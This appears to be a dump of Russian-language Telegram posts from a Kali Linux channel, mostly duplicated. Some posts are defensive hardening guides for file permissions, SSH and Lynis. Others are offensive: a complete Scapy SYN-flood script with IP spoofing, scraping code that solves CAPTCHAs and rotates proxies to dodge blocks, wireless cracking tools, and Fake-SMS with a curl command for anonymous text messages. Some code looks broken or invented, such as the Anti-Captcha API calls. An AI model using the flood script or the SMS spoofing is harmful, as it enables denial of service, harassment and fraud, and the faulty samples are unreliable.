🔍Поиск нежелательных прав доступа к файлам Kali Linux
Ниже приведен список полезных команд, которые вы можете использовать для выполнения этой важной задачи.
▪Найти все файлы, доступные для чтения другим пользователям
Показать все файлы в текущем каталоге, доступные для чтения другим пользователям. Многие из этих файлов расположены в скрытых каталогах. Однако, если в этом списке появляются какие-либо конфиденциальные файлы (например, ключи SSH), необходимо изменить разрешения, чтобы обеспечить конфиденциальность данных:
▪Найти все файлы с доступом для других пользователей
Следующая команда отобразит все файлы в домашнем каталоге, которые имеют права на чтение, запись или выполнение для других. Это полезно для получения общего представления о том, к чему могут получить доступ другие пользователи в вашем домашнем каталоге, и применения любых ограничительных действий, если это необходимо:
▪Найти все файлы, доступные для записи другим пользователям
Все файлы в этом списке должны быть тщательно проанализированы, чтобы определить, должны ли они быть доступны для записи другим пользователям. В противном случае необходимо изменить разрешения:
▪Найти все файлы, исполняемые пользователем или группой и доступные для записи другим пользователям
Если вы нашли файл, который может быть запущен другим, вы должны проанализировать, существует ли допустимое исключение для такого поведения. В противном случае необходимо немедленно изменить права доступа к файлам, чтобы предотвратить какое-либо влияние на целостность и доступность файлов:
▪Найти все файлы, не принадлежащие определенной группе
Показать все файлы в текущем рабочем каталоге, которые не принадлежат указанной группе:
▪Найти все файлы, принадлежащие определенной группе
Показать все файлы в вашем домашнем каталоге, принадлежащие указанной группе:
@linuxkalii
Ниже приведен список полезных команд, которые вы можете использовать для выполнения этой важной задачи.
▪Найти все файлы, доступные для чтения другим пользователям
Показать все файлы в текущем каталоге, доступные для чтения другим пользователям. Многие из этих файлов расположены в скрытых каталогах. Однако, если в этом списке появляются какие-либо конфиденциальные файлы (например, ключи SSH), необходимо изменить разрешения, чтобы обеспечить конфиденциальность данных:
find . -perm /004 -type f -print0 | xargs -0 ls -l▪Найти все файлы с доступом для других пользователей
Следующая команда отобразит все файлы в домашнем каталоге, которые имеют права на чтение, запись или выполнение для других. Это полезно для получения общего представления о том, к чему могут получить доступ другие пользователи в вашем домашнем каталоге, и применения любых ограничительных действий, если это необходимо:
find ~ -perm /007 -type f -print0 | xargs -0 ls -l▪Найти все файлы, доступные для записи другим пользователям
Все файлы в этом списке должны быть тщательно проанализированы, чтобы определить, должны ли они быть доступны для записи другим пользователям. В противном случае необходимо изменить разрешения:
find /{название_директории} -perm /002 -type f -print0 | xargs -0 ls -l▪Найти все файлы, исполняемые пользователем или группой и доступные для записи другим пользователям
Если вы нашли файл, который может быть запущен другим, вы должны проанализировать, существует ли допустимое исключение для такого поведения. В противном случае необходимо немедленно изменить права доступа к файлам, чтобы предотвратить какое-либо влияние на целостность и доступность файлов:
find ~ -perm -102 -type f -print0 | xargs -0 ls -l # User
find ~ -perm -012 -type f -print0 | xargs -0 ls -l # Group▪Найти все файлы, не принадлежащие определенной группе
Показать все файлы в текущем рабочем каталоге, которые не принадлежат указанной группе:
find . -not -group {название_группы} -type f -print0 | xargs -0 ls -l▪Найти все файлы, принадлежащие определенной группе
Показать все файлы в вашем домашнем каталоге, принадлежащие указанной группе:
find ~ -group {название_группы} -type f -print0 | xargs -0 ls -l@linuxkalii
👍17❤3🔥1
💻Как осуществить атаку SYN Flooding в Python
В этой статье будет реализована атака SYN flood с использованием библиотеки Scapy в Python.
▪Необходимо установить Scapy:
▪Откройте новый файл Python и импортируйте Scapy:
▪Проверить на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:
▪Целевым портом является HTTP, так как я хочу залить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:
Мы указали dst в качестве целевого IP-адреса, мы также можем установить src-адрес на поддельный случайный IP-адрес в диапазоне частной сети (закомментированный код), и он также будет работать.
▪Давайте подделаем наш TCP уровень:
Итак, мы устанавливаем порт источника (sport) на случайное короткое значение (которое варьируется от 1 до 65535, как и порты) и dport (порт назначения) в качестве целевого порта. В данном случае это служба HTTP.
Мы также установили флаги на “S”, что указывает на тип SYN.
▪Теперь давайте добавим немного исходных данных для флуда, чтобы занять сеть:
Отлично!
▪Теперь сложим слои и отправим пакет:
Итак, мы использовали функцию send(), которая отправляет пакеты на уровне 3, мы установили loop на 1, чтобы продолжать отправку до нажатия CTRL+C, установив verbose на 0, мы не будем ничего печатать во время процесса.
▪Подробнее
@linuxkalii
В этой статье будет реализована атака SYN flood с использованием библиотеки Scapy в Python.
▪Необходимо установить Scapy:
pip3 install scapy▪Откройте новый файл Python и импортируйте Scapy:
from scapy.all import *▪Проверить на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:
# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80▪Целевым портом является HTTP, так как я хочу залить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:
# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)Мы указали dst в качестве целевого IP-адреса, мы также можем установить src-адрес на поддельный случайный IP-адрес в диапазоне частной сети (закомментированный код), и он также будет работать.
▪Давайте подделаем наш TCP уровень:
# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")Итак, мы устанавливаем порт источника (sport) на случайное короткое значение (которое варьируется от 1 до 65535, как и порты) и dport (порт назначения) в качестве целевого порта. В данном случае это служба HTTP.
Мы также установили флаги на “S”, что указывает на тип SYN.
▪Теперь давайте добавим немного исходных данных для флуда, чтобы занять сеть:
# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)Отлично!
▪Теперь сложим слои и отправим пакет:
# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected
send(p, loop=1, verbose=0)Итак, мы использовали функцию send(), которая отправляет пакеты на уровне 3, мы установили loop на 1, чтобы продолжать отправку до нажатия CTRL+C, установив verbose на 0, мы не будем ничего печатать во время процесса.
▪Подробнее
@linuxkalii
👍10🔥3❤1
🔥 Большая шпаргалка по командам Linux
Сохраняйте себе, чтобы не потерять
#cheatsheet #linux
@linuxkalii
Сохраняйте себе, чтобы не потерять
#cheatsheet #linux
@linuxkalii
👍30🔥8❤4👏1
⚡JWT-атаки
JSON Web Token – это открытый стандарт (RFC 7519), который определяет компактный и автономный способ безопасной передачи информации между сторонами в виде объекта JSON.
Распространенные атаки, связанные с JWT:
▪Внедрение токена (Token Injection): Злоумышленник может попытаться модифицировать содержимое токена или внедрить свои данные, чтобы расширить свои привилегии или изменить свои права доступа.
▪ Подделка токена (Token Forgery): Злоумышленник может предпринять попытку создания или подделки JWT-токена с целью получить несанкционированный доступ к приложению или его ресурсам.
▪ Перебор токенов (Token Enumeration): Если приложение предоставляет разные ответы или ошибки для существующих и неверных токенов.
▪Атака брутфорсом подписи (Signature Brute-Force) - JWT-токены зачастую защищены цифровой подписью, которая гарантирует их подлинность. Однако, если использованы слабые алгоритмы подписи или слишком короткие ключи, можно обнаружить уязвимость подписи к брутфорсу. Злоумышленник может попытаться перебрать все возможные комбинации ключей для создания поддельного токена.
Инструменты для автоматизации JWT-атаки:
jwtXploiter — это Python-инструмент, предназначенный для автоматизации взлома JWT. Он позволяет проверить соответствие всех известных CVE для JWT и поддерживает различные виды атак на JWT, начиная от простого взлома и до выполнения атак с использованием самозаверяющих токенов!
JSON Web Tokens - это дополнение для Burpsuite, которое автоматизирует распространенные атаки на JWT. Кроме того, оно позволяет быстро выполнять кодирование / декодирование и проверку токенов.
JWT Tool - это широко используемый инструмент на языке Python, который позволяет производить проверку всех возможных атак, которые могут уязвимо существовать в веб-приложении.
JWT Editor - это дополнение для Burpsuite, которое обеспечивает возможность удобно изменять JWT-токены и быстро проверять различные методы обхода. JWT Editor предлагается в двух вариантах: бесплатной версии и платной версии Pro.
Методы защиты от JWT-атак:
✔️Установить временные ограничения действия токенов и использовать механизмы обновления или повторной аутентификации при необходимости.
✔️Сохранять ключи для подписи и шифрования токенов в надежном хранилище.
✔️Применять надежные алгоритмы шифрования и подписи, такие как HMAC-SHA256 или RSA.
✔️Регулярно обновлять и повышать безопасность ключей и алгоритмов.
✔️Использовать защищенное соединение (HTTPS) при передаче JWT-токенов.
✔️Избегать передачи конфиденциальной информации напрямую в токенах.
@linuxkalii
JSON Web Token – это открытый стандарт (RFC 7519), который определяет компактный и автономный способ безопасной передачи информации между сторонами в виде объекта JSON.
Распространенные атаки, связанные с JWT:
▪Внедрение токена (Token Injection): Злоумышленник может попытаться модифицировать содержимое токена или внедрить свои данные, чтобы расширить свои привилегии или изменить свои права доступа.
▪ Подделка токена (Token Forgery): Злоумышленник может предпринять попытку создания или подделки JWT-токена с целью получить несанкционированный доступ к приложению или его ресурсам.
▪ Перебор токенов (Token Enumeration): Если приложение предоставляет разные ответы или ошибки для существующих и неверных токенов.
▪Атака брутфорсом подписи (Signature Brute-Force) - JWT-токены зачастую защищены цифровой подписью, которая гарантирует их подлинность. Однако, если использованы слабые алгоритмы подписи или слишком короткие ключи, можно обнаружить уязвимость подписи к брутфорсу. Злоумышленник может попытаться перебрать все возможные комбинации ключей для создания поддельного токена.
Инструменты для автоматизации JWT-атаки:
jwtXploiter — это Python-инструмент, предназначенный для автоматизации взлома JWT. Он позволяет проверить соответствие всех известных CVE для JWT и поддерживает различные виды атак на JWT, начиная от простого взлома и до выполнения атак с использованием самозаверяющих токенов!
JSON Web Tokens - это дополнение для Burpsuite, которое автоматизирует распространенные атаки на JWT. Кроме того, оно позволяет быстро выполнять кодирование / декодирование и проверку токенов.
JWT Tool - это широко используемый инструмент на языке Python, который позволяет производить проверку всех возможных атак, которые могут уязвимо существовать в веб-приложении.
JWT Editor - это дополнение для Burpsuite, которое обеспечивает возможность удобно изменять JWT-токены и быстро проверять различные методы обхода. JWT Editor предлагается в двух вариантах: бесплатной версии и платной версии Pro.
Методы защиты от JWT-атак:
✔️Установить временные ограничения действия токенов и использовать механизмы обновления или повторной аутентификации при необходимости.
✔️Сохранять ключи для подписи и шифрования токенов в надежном хранилище.
✔️Применять надежные алгоритмы шифрования и подписи, такие как HMAC-SHA256 или RSA.
✔️Регулярно обновлять и повышать безопасность ключей и алгоритмов.
✔️Использовать защищенное соединение (HTTPS) при передаче JWT-токенов.
✔️Избегать передачи конфиденциальной информации напрямую в токенах.
@linuxkalii
👍16❤3🔥2
🛡Защита от Брутфорса SSH в Linux
Сетевая видимость — повод для атак. Проблемой является перебор паролей, в том числе и для SSH.
Защититься от этого можно по-разному:
1) Используя возможности настройки демона SSH
2) Пакетный фильтр
3) Специальные приложения
4) Port knocking
▪Измените 22-й порт на 2002-й, если это возможно. Вносим запись в /etc/ssh/sshd_config:
▪В случаях, когда невозможно изменить порт, можно ограничить доступ к SSH определенными пользователями или группами. Это можно сделать с помощью параметров AllowUsers, AllowGroups, DenyUsers и DenyGroups в файле sshd_config. Логину также можно указать IP или подсеть. Например, можно разрешить доступ пользователю admin и user, при этом последний может подключаться только с одного IP.
▪Еще один действенный вариант защиты от перебора – использование для аутентификации сертификатов.
Например, запретим вход по SSH по паролю для пользователя root, разрешив всем остальным:
▪Используя TCP Wrapper, также можем ограничить доступ к любому сервису только с определенных IP, для этого следует лишь прописать в файл /etc/hosts.allow или /etc/hosts.deny нужное правило. Разрешим в /etc/hosts.allow доступ только с нужной подсети:
Или в /etc/hosts.deny:
▪Пакетный фильтр позволяет очень точно задавать параметры соединений, отбрасывая ненужные пакеты. С его помощью легко ограничить доступ к 22-му порту только определенным адресам. Пример:
▪Fail2ban и Sshguard - специальные утилиты, которые помогают защитить систему от подозрительных действий. Эти программы фильтруют пакеты по портам и IP-адресам и блокируют подозрительные IP-адреса, используя iptables или TCP Wrapper.
Fail2ban был создан для защиты SSH, но сейчас он может быть настроен для использования с различными приложениями. Принцип работы очень прост - демон периодически проверяет журналы на наличие записей о подозрительной активности и блокирует подозрительные IP-адреса.
По умолчанию Fail2ban защищает только SSH, но может быть настроен для контроля нескольких сервисов одновременно. Все события отображаются в журнале fail2ban.log и могут быть отправлены по электронной почте.
В Ubuntu и Debian устанавливается командой:
▪Все настройки производятся в нескольких файлах, размещенных в каталоге /etc/fail2ban. В fail2ban.conf хранятся параметры запуска самого демона, в jail.conf описываются контролируемые сервисы (внутри секции SSH).
▪Фильтры и действия настраиваются в файлах в подкаталогах filter.d и action.d. Файлы по умолчанию имеют расширение .conf и их лучше не изменять, включая jail.conf. Лучше все изменения делать в файле с расширением .local (например, jail.local), который переопределяет настройки из первого файла и сохраняет их при обновлении. Для проверки работы фильтра можно использовать утилиту fail2ban-regex.
@linuxkalii
Сетевая видимость — повод для атак. Проблемой является перебор паролей, в том числе и для SSH.
Защититься от этого можно по-разному:
1) Используя возможности настройки демона SSH
2) Пакетный фильтр
3) Специальные приложения
4) Port knocking
▪Измените 22-й порт на 2002-й, если это возможно. Вносим запись в /etc/ssh/sshd_config:
Port 2002▪В случаях, когда невозможно изменить порт, можно ограничить доступ к SSH определенными пользователями или группами. Это можно сделать с помощью параметров AllowUsers, AllowGroups, DenyUsers и DenyGroups в файле sshd_config. Логину также можно указать IP или подсеть. Например, можно разрешить доступ пользователю admin и user, при этом последний может подключаться только с одного IP.
AllowUsers admin user@192.168.0.1▪Еще один действенный вариант защиты от перебора – использование для аутентификации сертификатов.
Например, запретим вход по SSH по паролю для пользователя root, разрешив всем остальным:
# всем разрешаем доступ по паролю
PasswordAuthentication yes
# root будет использовать только сертификат
match user root
PasswordAuthentication no
KbdInteractiveAuthentication no▪Используя TCP Wrapper, также можем ограничить доступ к любому сервису только с определенных IP, для этого следует лишь прописать в файл /etc/hosts.allow или /etc/hosts.deny нужное правило. Разрешим в /etc/hosts.allow доступ только с нужной подсети:
sshd : 192.168.1.0/24 : allowИли в /etc/hosts.deny:
sshd : ALL : deny
sshd : ALL EXCEPT 192.168.1.0/24 : allow▪Пакетный фильтр позволяет очень точно задавать параметры соединений, отбрасывая ненужные пакеты. С его помощью легко ограничить доступ к 22-му порту только определенным адресам. Пример:
iptables -A INPUT -s !192.168.0.1 -p tcp -m tcp --dport 22 ↵
-j REJECT —reject-with icmp-port-unreachable▪Fail2ban и Sshguard - специальные утилиты, которые помогают защитить систему от подозрительных действий. Эти программы фильтруют пакеты по портам и IP-адресам и блокируют подозрительные IP-адреса, используя iptables или TCP Wrapper.
Fail2ban был создан для защиты SSH, но сейчас он может быть настроен для использования с различными приложениями. Принцип работы очень прост - демон периодически проверяет журналы на наличие записей о подозрительной активности и блокирует подозрительные IP-адреса.
По умолчанию Fail2ban защищает только SSH, но может быть настроен для контроля нескольких сервисов одновременно. Все события отображаются в журнале fail2ban.log и могут быть отправлены по электронной почте.
В Ubuntu и Debian устанавливается командой:
$ sudo apt-get install fail2ban▪Все настройки производятся в нескольких файлах, размещенных в каталоге /etc/fail2ban. В fail2ban.conf хранятся параметры запуска самого демона, в jail.conf описываются контролируемые сервисы (внутри секции SSH).
[ssh]
enabled = true
port = 22
filter = sshd
logpath = /var/log/auth.log
maxretry = 3▪Фильтры и действия настраиваются в файлах в подкаталогах filter.d и action.d. Файлы по умолчанию имеют расширение .conf и их лучше не изменять, включая jail.conf. Лучше все изменения делать в файле с расширением .local (например, jail.local), который переопределяет настройки из первого файла и сохраняет их при обновлении. Для проверки работы фильтра можно использовать утилиту fail2ban-regex.
@linuxkalii
👍18❤5🔥3
🐧Использование Lynis для проверки защищенности Linux
▪ Установка Lynis на Linux
Lynis надежно проверяет соответствие системы рекомендациям CIS. Этот инструмент также применим в пентестировании, но в данной статье мы рассмотрим его как средство для проверки безопасности Linux. Помимо Linux, Lynis работает также на операционных системах AIX, FreeBSD, HP-UX, Mac OS, NetBSD, OpenBSD, Solaris и даже Raspberry Pi.
Для установки Lynis, выполните команду:
▪ Использование Lynis для проверки защищенности Linux
Ознакомитесь с основными параметрами Lynis:
✔️
✔️
✔️
✔️
✔️
✔️
✔️
✔️
✔️
✔️
✔️
Затем запустите Lynis с помощью команды sudo. Чтобы запустить аудит, вы должны иметь права на запись в /tmp (временные файлы).
▪ Использование профилей Lynis
Lynis позволяет использовать профили, чтобы иметь набор предопределенных параметров для каждой операционной системы.
Если вы не укажете профиль --profile имя_профиля, будет использоваться профиль по умолчанию (default.prf). Рекомендуется скопировать файл default.prf и настроить его под свои нужды.
На этом все. Теперь вы знаете, как проверить защищенность дистрибутивов Linux.
▪ Установка Lynis на Linux
Lynis надежно проверяет соответствие системы рекомендациям CIS. Этот инструмент также применим в пентестировании, но в данной статье мы рассмотрим его как средство для проверки безопасности Linux. Помимо Linux, Lynis работает также на операционных системах AIX, FreeBSD, HP-UX, Mac OS, NetBSD, OpenBSD, Solaris и даже Raspberry Pi.
Для установки Lynis, выполните команду:
root@debian:~/# sudo apt-get install lynis▪ Использование Lynis для проверки защищенности Linux
Ознакомитесь с основными параметрами Lynis:
✔️
--auditor "имя" — присвоить аудиту имя.✔️
--checkall -c — начать проверку.✔️
--check-update — проверить актуальность Lynis.✔️
--cronjob — запустить Lynis как cronjob (включает -c -Q).✔️
--help — отобразить справку.✔️
--nocolors — не использовать цвета.✔️
--pentest — выполнить тестирование на проникновение (без привилегий).✔️
--quick — не ждать ввода данных пользователем, за исключением ошибок.✔️
--quiet — показать только предупреждения (включает —quick, но не ждет).✔️
--reverse-colors — использовать другую цветовую схему для светлого фона.✔️
--version — проверить версию программы (и выйти).Затем запустите Lynis с помощью команды sudo. Чтобы запустить аудит, вы должны иметь права на запись в /tmp (временные файлы).
root@debian:~/# sudo lynis audit system
...
Lynis security scan details:
Hardening index : 84 [############## ]
Tests performed : 260
Plugins enabled : 1
Components:
- Firewall [V]
- Malware scanner [V]
Scan mode:
Normal [V] Forensics [ ] Integration [ ] Pentest [ ]
Lynis modules:
- Compliance status [?]
- Security audit [V]
- Vulnerability scan [V]
Files:
- Test and debug information : /var/log/lynis.log
- Report data : /var/log/lynis-report.dat▪ Использование профилей Lynis
Lynis позволяет использовать профили, чтобы иметь набор предопределенных параметров для каждой операционной системы.
Если вы не укажете профиль --profile имя_профиля, будет использоваться профиль по умолчанию (default.prf). Рекомендуется скопировать файл default.prf и настроить его под свои нужды.
На этом все. Теперь вы знаете, как проверить защищенность дистрибутивов Linux.
👍16❤4🔥4👎1
🔐 11 Бесплатных курсов по кибербезопасности:
1) Stepik Математика в кибербезопасности
2) SkillFactory Этичный/Белый хакер: полный гид по профессии
3) Youtube Этичный хакинг
4) Курсера Cybersecurity Roles, Processes & Operating System Security
5) Stepik Кибербезопасность
6)Анализ безопасности веб-проектов
7) Технические методы и средства, технологии защиты информации
8) Школа системного администратора · курсы-по-ит.рф
9) Курс кибербезопасности для начинающих, UdeMy
10) Обеспечение безопасности цифровой демократии, Мичиганский университет
11) Введение в ИТ и кибербезопасность, Cybrary
@linuxkalii
1) Stepik Математика в кибербезопасности
2) SkillFactory Этичный/Белый хакер: полный гид по профессии
3) Youtube Этичный хакинг
4) Курсера Cybersecurity Roles, Processes & Operating System Security
5) Stepik Кибербезопасность
6)Анализ безопасности веб-проектов
7) Технические методы и средства, технологии защиты информации
8) Школа системного администратора · курсы-по-ит.рф
9) Курс кибербезопасности для начинающих, UdeMy
10) Обеспечение безопасности цифровой демократии, Мичиганский университет
11) Введение в ИТ и кибербезопасность, Cybrary
@linuxkalii
👍24🔥12❤7🥰1👏1
🐍Продвинутые методы веб-скрейпинга с помощью Python
1. Скраппинг динамических сайтов
Одним из популярных инструментов является Selenium.
Selenium – это библиотека Python, которая позволяет управлять веб-браузером из кода.
Пример:
2. Работа с CAPTCHA и IP-блокировками
• Существует ряд инструментов, которые могут помочь вам решить CAPTCHA.
Одним из популярных инструментов является Anti-Captcha.
Anti-Captcha – это сервис, который предлагает решение CAPTCHA с помощью человека. Это означает, что вы можете отправить CAPTCHA в Anti-Captcha, и они попросят человека решить ее за вас.
Пример:
• Существует несколько способов изменить свой IP-адрес. Одним из популярных способов является использование прокси-сервиса.
Прокси-сервис – это сервер, который выступает в качестве посредника между вашим компьютером и сайтом, с которого вы собираете информацию. Это означает, что сайт будет видеть IP-адрес прокси-сервера, а не ваш собственный IP-адрес.
Пример:
• Главный цикл будет многократно вызывать функции get_proxy() и scrape_website(), каждый раз поворачивая прокси. Это поможет предотвратить блокировку веб-сайта по вашему IP-адресу.
• Для выполнения этого кода вам потребуется установить следующие библиотеки Python:
- requests
- BeautifulSoup4
Вы можете установить эти библиотеки с помощью следующей команды:
Сохраняй пост себе, чтобы не потерять.
@linuxkalii
1. Скраппинг динамических сайтов
Одним из популярных инструментов является Selenium.
Selenium – это библиотека Python, которая позволяет управлять веб-браузером из кода.
Пример:
from selenium import webdriver
from bs4 import BeautifulSoup
driver = webdriver.Firefox()
driver.get('https://www.example.com')
# Wait for the JavaScript to load
time.sleep(5)
# Get the page source
soup = BeautifulSoup(driver.page_source, 'html.parser')
# Extract the data
table = soup.find('table', attrs={'id':'dynamic-table'})
data = []
for row in table.find_all('tr'):
data.append([cell.text for cell in row.find_all('td')])
# Close the browser
driver.quit()2. Работа с CAPTCHA и IP-блокировками
• Существует ряд инструментов, которые могут помочь вам решить CAPTCHA.
Одним из популярных инструментов является Anti-Captcha.
Anti-Captcha – это сервис, который предлагает решение CAPTCHA с помощью человека. Это означает, что вы можете отправить CAPTCHA в Anti-Captcha, и они попросят человека решить ее за вас.
Пример:
import requests
url = 'https://anti-captcha.com/api/create'
data = {
'type': 'image',
'phrase': captcha_text
}
response = requests.post(url, data=data)
captcha_id = response.json()['captchaId']
url = 'https://anti-captcha.com/api/solve'
data = {
'captchaId': captcha_id
}
response = requests.post(url, data=data)
solution = response.json()['solution']• Существует несколько способов изменить свой IP-адрес. Одним из популярных способов является использование прокси-сервиса.
Прокси-сервис – это сервер, который выступает в качестве посредника между вашим компьютером и сайтом, с которого вы собираете информацию. Это означает, что сайт будет видеть IP-адрес прокси-сервера, а не ваш собственный IP-адрес.
Пример:
import requests
import random
def get_proxy():
"""Gets a proxy from the proxy scrape service."""
response = requests.get('https://www.proxyscrape.com/')
data = response.json()
proxy = random.choice(data['results'])['ip'] + ':' + data['results'][0]['port']
return proxy
def scrape_website(proxy):
"""Scrape the website using the proxy."""
response = requests.get(url, proxies={'http': proxy, 'https': proxy})
soup = BeautifulSoup(response.text, 'html.parser')
data = []
for row in soup.find_all('tr'):
data.append([cell.text for cell in row.find_all('td')])
return data
if __name__ == '__main__':
proxy = get_proxy()
data = scrape_website(proxy)
print(data)
# Rotate the proxy
proxy = get_proxy()
data = scrape_website(proxy)
print(data)• Главный цикл будет многократно вызывать функции get_proxy() и scrape_website(), каждый раз поворачивая прокси. Это поможет предотвратить блокировку веб-сайта по вашему IP-адресу.
• Для выполнения этого кода вам потребуется установить следующие библиотеки Python:
- requests
- BeautifulSoup4
Вы можете установить эти библиотеки с помощью следующей команды:
pip install requests BeautifulSoup4Сохраняй пост себе, чтобы не потерять.
@linuxkalii
👍27❤7🔥3🥰2🤬1
🛠Инструменты Взлома Беспроводной Сети
▪Aircrack-ng - набор тестовых инструментов для проверки безопасности беспроводных сетей.
▪Fluxion - набор атак на WPA, основанных на использовании социальной инженерии.
▪Wifite - автоматизированный инструмент беспроводной атаки.
▪Kismet - детектор беспроводной сети, сниффер и идентификаторы.
▪Reaver — атака грубой силы против WiFi защищенной установки.
@linuxkalii
▪Aircrack-ng - набор тестовых инструментов для проверки безопасности беспроводных сетей.
▪Fluxion - набор атак на WPA, основанных на использовании социальной инженерии.
▪Wifite - автоматизированный инструмент беспроводной атаки.
▪Kismet - детектор беспроводной сети, сниффер и идентификаторы.
▪Reaver — атака грубой силы против WiFi защищенной установки.
@linuxkalii
👍27❤11🔥7
Практически план, направленный на , подготовку специалиста в сфере информационной безопасности, основанный на различных задачах, таких как тестирование на проникновение, обеспечение безопасности приложений, облачная безопасность, DevSecOps и многое другое.
План включает широкий спектр бесплатных и платных ресурсов, инструментов и материалов.
https://github.com/jassics/security-study-plan
@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
👍22❤14🔥2
This media is not supported in your browser
VIEW IN TELEGRAM
🧑💻 PLOW
Plow инструмент, который предназначен для нагрузочного тестирования HTTP-серверов.
Он основан на Go-библиотеке fasthttp, которая до десяти раз быстрее стандартной реализации, что делает его каким‑то аномально быстрым.
Plow может отдавать статистику в реальном времени не только в окне терминала, но и в браузере (по стандарту встроенный сервер доступен на 18888-м порте).
Запуск возможен из Docker или установкой из исходников:
Альтернатива:
Аргументы в целом ничего необычного собой не представляют: тут у нас стандартная для таких программ настройка количества потоков (-c), желаемого количества запросов (-n), времени теста (-d 30s или -d 5m, например) и HTTP-метода (--method="GET"). Про другие параметры можно подробно прочитать в справке программы (--help). Цель передается без специальных параметров.
▪ Github
@linuxkalii
Plow инструмент, который предназначен для нагрузочного тестирования HTTP-серверов.
Он основан на Go-библиотеке fasthttp, которая до десяти раз быстрее стандартной реализации, что делает его каким‑то аномально быстрым.
Plow может отдавать статистику в реальном времени не только в окне терминала, но и в браузере (по стандарту встроенный сервер доступен на 18888-м порте).
Запуск возможен из Docker или установкой из исходников:
go install github.com/six-ddc/plow@latest
plow <args>
Альтернатива:
docker run --rm --net=host ghcr.io/six-ddc/plow <args>Аргументы в целом ничего необычного собой не представляют: тут у нас стандартная для таких программ настройка количества потоков (-c), желаемого количества запросов (-n), времени теста (-d 30s или -d 5m, например) и HTTP-метода (--method="GET"). Про другие параметры можно подробно прочитать в справке программы (--help). Цель передается без специальных параметров.
▪ Github
@linuxkalii
👍22❤9🔥3
Через что?
Fake-SMS - это небольшой скрипт, работающий через сервис textbelt.com, позволяющий отправлять бесплатные и анонимные сообщения из терминала операционной системы Kali Linux.
▪Возможности Fake-SMS:
▪ Скачиваем и установливаем Fake-SMS на Kali Linux
• Для скачивания и установки Fake-SMS, используйте команду:
sudo git clone https://github.com/machine1337/fake-sms• После загрузки, перейти в каталог:
cd fake-sms
• Изменить права на выполнение:
sudo chmod 755 run.sh▪ Использование Fake-SMS для создания отправки СМС
• Для запуска Fake-SMS, выполните скрипт:
sudo ./run.sh• Чтобы отправить SMS-сообщение, просто введите цифру 2 (Send Fake SMS).
• Если открыть скрипт Fake-SMS в текстовом редакторе и прокрутить вниз до строки 119-120, мы увидим команду curl для сервиса textbelt.com.
▪Использование команды curl для отправки бесплатного SMS
• Открыть аккаунт на сайте textbelt.com. После чего можно будет отправлять одно бесплатное анонимное sms-сообщение в день или купить кредиты и получить ключ API.
• Теперь можно отправлять смс без скрипта Fake-SMS, напрямую, с помощью команды curl в Linux (если у вас есть API, вы можете использовать другие инструменты, но curl прекрасно справляется с задачей).
Синтаксис команды:
curl -X POST https://textbelt.com/text --data-urlencode phone='номер-телефона-с-кодом-страны'• —data-urlencode=сообщение=’текстовое сообщение’
• -d key=ключ api
Теперь можно создать команду для отправки смс-сообщения, добавив ключ API.
После отправки смс, появится информации о количестве оставшихся кредов (купленных сообщений).
Было полезно?
@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
👍49❤12🔥5👎1